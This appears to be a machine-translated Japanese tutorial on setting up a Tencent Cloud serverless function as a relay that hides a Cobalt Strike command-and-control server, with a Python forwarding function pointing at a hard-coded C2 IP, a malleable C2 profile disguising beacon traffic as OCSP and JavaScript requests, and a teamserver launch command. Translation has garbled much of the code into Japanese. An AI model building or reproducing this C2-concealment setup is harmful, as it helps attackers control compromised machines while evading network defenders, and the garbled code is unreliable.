まず、Tencent Cloudにログインし、クラウド機能を有効にする必要があります。
Tencent Cloudにログインした後、クラウド機能を検索します。開けるだけです。
最初にログインし、承認が必要です。
コンソールにログインしたら、[作成]をクリックします。
関数名は無料で、ゼロから開始することを選択し、環境でPython 3.6を入力し、選択した後に引き下げて、コードを内部に置きます。
次のコードをコピーして、サーバーアドレスを変更します。
#Coding: UTF8
JSON、リクエスト、Base64をインポートします
def main_handler(イベント、コンテキスト):
応答={}
パス=なし
ヘッダー=なし
try:
C2='http://43.134.164.72:80'
event.keys():の「パス」の場合
path=event ['path']
event.keys():の「ヘッダー」の場合
ヘッダー=イベント['ヘッダー']
event.keys()およびevent ['httpmethod']=='get' :の場合は 'httpmethod'の場合
resp=requests.get(c2+path、headers=headers、verify=false)
else:
resp=requests.post(c2+path、data=event ['body']、headers=headers、firem=false)
印刷(resp.headers)
印刷(resp.content)
応答={
'isbase64encoded': true、
'StatusCode': resp.status_code、
'Headers ': dict(resp.headers)、
'body': str(base64.b64encode(resp.content))[2:-1]
}
E:としての例外を除く
印刷( 'エラー')
印刷(e)
最後に:
返信応答
終了したら、[保存]をクリックしてください!
次に、[トリガー管理]をクリックしてトリガーを作成します
フォーマットは次のようにです
API名をクリックして編集し、このページに到着します。パスは /に変更されます
クリックして、完了後にサービスを公開します
win_tecent_cloud_func.profileという名前のC2のプロファイルファイルを追加しました
SAMPLE_NAME 'T'を設定します。
Sleeptime '3000'を設定します。
Jitter '0'を設定します。
Maxdns '255'を設定します。
set useragent 'mozilla/5.0(互換; msie 8.0; windows nt 6.1; trident/5.0)';
http-get {
set uri '/api/x';
クライアント {
ヘッダー「Accept」*/*';
メタデータ{
base64;
prepend 'sessionid=';
ヘッダー「クッキー」;
}
}
サーバー{
ヘッダー「コンテンツタイプ」 'アプリケーション/OCSP応答';
ヘッダー「コンテンツ転送エンコード」「バイナリ」。
ヘッダー「サーバー」 'nodejs';
出力{
base64;
印刷;
}
}
}
http-stager {
set uri_x86 '/vue.min.js';
set uri_x64 '/bootstrap-2.min.js';
}
http-post {
set uri '/api/y';
クライアント {
ヘッダー「Accept」*/*';
id {
base64;
'jsession=';
ヘッダー「クッキー」;
}
出力{
base64;
印刷;
}
}
サーバー{
ヘッダー「コンテンツタイプ」 'アプリケーション/OCSP応答';
ヘッダー「コンテンツ転送エンコード」「バイナリ」。
ヘッダー「接続」 'キープアリブ';
出力{
base64;
印刷;
}
}
}
保存後、CSディレクトリに保存します。
CSサーバーを起動します
./TeamServer VPSIP Admin12345 win_tecent_cloud_func.profile
パブリックネットワークインターフェイスアドレスドメインクラウド関数のドメイン名をリスナーのHTTPホストとステイガーのホストに入力します
HTTPおよび80 に注意してください
リスニングを追加します
シェルを生成した後、正常に起動されました。元のテキスト接続:https://Blog.bbskali.cn/3771.html